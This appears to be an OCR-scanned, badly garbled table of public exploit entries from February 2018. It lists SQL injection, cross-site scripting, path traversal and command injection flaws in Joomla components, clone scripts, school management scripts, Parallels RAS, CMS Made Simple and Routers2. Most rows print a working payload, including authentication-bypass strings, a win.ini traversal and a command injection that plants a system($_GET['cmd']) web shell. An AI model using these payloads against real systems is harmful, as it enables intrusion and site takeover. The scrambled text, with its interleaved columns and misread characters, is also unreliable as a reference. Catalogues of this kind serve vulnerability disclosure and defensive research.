index.php?option=com_checklist&view=Ffrontend&title_search
=[SQL]&tag_search=[SQL]&name_search=[SQL]&description_s
earch=[SQL]&filter_order=%27%20%41%4e%44%20%45
%58%54%52%41%43%54%56%41%4C%55%45%28%3 Joomla!
- Joomla! Component CheckList |2%32%2c%43%4f%4e%43%41%54%28%30%78%35% Joomla! Component

2018:02:22 | 44163 | SQLlInjection PRALE 1.1.1-5Ql Injection  |63%2C%76%65%72%73%69%61%6e%28%29%2c%28%| Component | CheckList
53%45%4C%45%43%54%20%28%A45%4c%54%28%31 1.1
%3d%31%2¢c%31%29%29%29%2C%64%61%74%61%6
2%61%73%65%28%29%29%29%2d%2d%20%56%65%
72%41%79%6A1%72%69
/os-property-layouts/search-tools/advanced- Joomlal

Joomla! Component OS h?&option=com roperty&task=property_advsearch& Joomlal Component

2018-02-22 44165 SQL Injection BE2HsE Property Real Estate 3.12.7 - searcn/&optio 7(0 _Ospropertyias ;:Lope y_a Seaf o < comia: OS Property

SQL Injection ooling_system1=[SQL]&heating_system1=[SQL]&laundry=1%2| Component Real Estate
0and%201=1--
3127
POST /~projclient/demo/lems/learning-and-examination-
management-system/messages/1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
Learning and Examination AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Learning and | Learning and

- Management System - Cross- |Safari/535.7 Examination | Examination

2018-02-22 44170 Xs5 = Site Scripting Accept: */* Management | Management
Content-Type: application/x-www-form-urlencoded; System System
charset=UTF-8
message=<scriptyalert("test")</script>
POST /~projclient/client/b2bhelpline//edit-profile HTTP/T.1
Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
= Alibaba Clone Script 1.0.2 - Safari/535.7 Alibaba Clone |Alibaba Clone

2018-02-22 44171 Xss & Cross-Site Scriptiné A Accept: =/ Script Script 1.0.2
Content-Type: application/x-www-form-urlencoded; o
charset=UTF-8
fname=<scripthalert("test")</script>&lIname=&email=&mobile=
Rtol=Rfax=Rcnama=Raddr=Rsite=
POST /demo/arthi/nearby/profile.php HTTP/1.1
Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7 Groupon
2018-02-22 44172 XSS = Groupon Clqne Sc_np_t 3.0.2 - |Accept: */* i s : Groupon Clone Clone Script
Cross-Site Scripting Content-Type: application/x-www-form-urlencoded; Script
— 3.0.2
charset=UTF-8
first_name=<script>alert("test")</script>&lastname=&email=&s
tate=&city=&country_code=
Parallels Parallels
. Parallels Remote Application [/RASHTML5Gateway//. WWAR . WA W WY WWW WA Wwi Remote Remote
2018-02-22 44241 Directory Traversal ® Server 15.5 - Path Traversal [ndows¥win.ini Application Application
Server Server 155
POST /management_login.php HTTP/T.1
Host:
User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Schools Alert Management |Safari/535.7 Schools Alert | Schools Alert
2018-02-27 44185 SQL Injection BE2UmE Script 2.0.2 - Authentication |Accept: */* Management | Management
Bypass Content-Type: application/x-www-form-urlencoded; Script Script 2.0.2
charset=UTF-8
email=admin' OR '1' = '"1&pass=admin' OR '1' = "1
POST /parents/Parent_module/parent_login.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
. School Management Script  |Safari/535.7 School School
2018-02-27 44191 SQL Injection BEHE 304-A o ) Management | Management
.0. uthentication Bypass |Accept: */* Seript Script 3.0.4

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

name=admin&nass=x'or'x'="x
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HTTP/1.1
Host:
User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

WHRIOIS

- CMS Made Simple 2.1.6 - Accept: */* CMS Made CMS Made
-02- SO

2018-02-27 44192 | Command Injection FRULER Remote Code Execution Content-Type: application/x-www-form-urlencoded; Simple Simple 2.1.6
charset=UTF-8
dbhost=localhost&dbname=cms&dbuser=xvwa&dbpass=xvwa
&timezone=junk';echo%20system($_GET['cmd']); $junk="junk
&next=Next+%E2%86%92
/cgi-bin/routers2 .pl?rtr=--

2018-02-28 44216 XSS b Routers2 2.24 - Cross-Site | ><scriptdalert("XSS")</script>&bars=Cami&xgtype=d&page=gr Routers? Routers2 2.24

Scripting

aph&xgstyle=I2&xmtype=routers

Panta




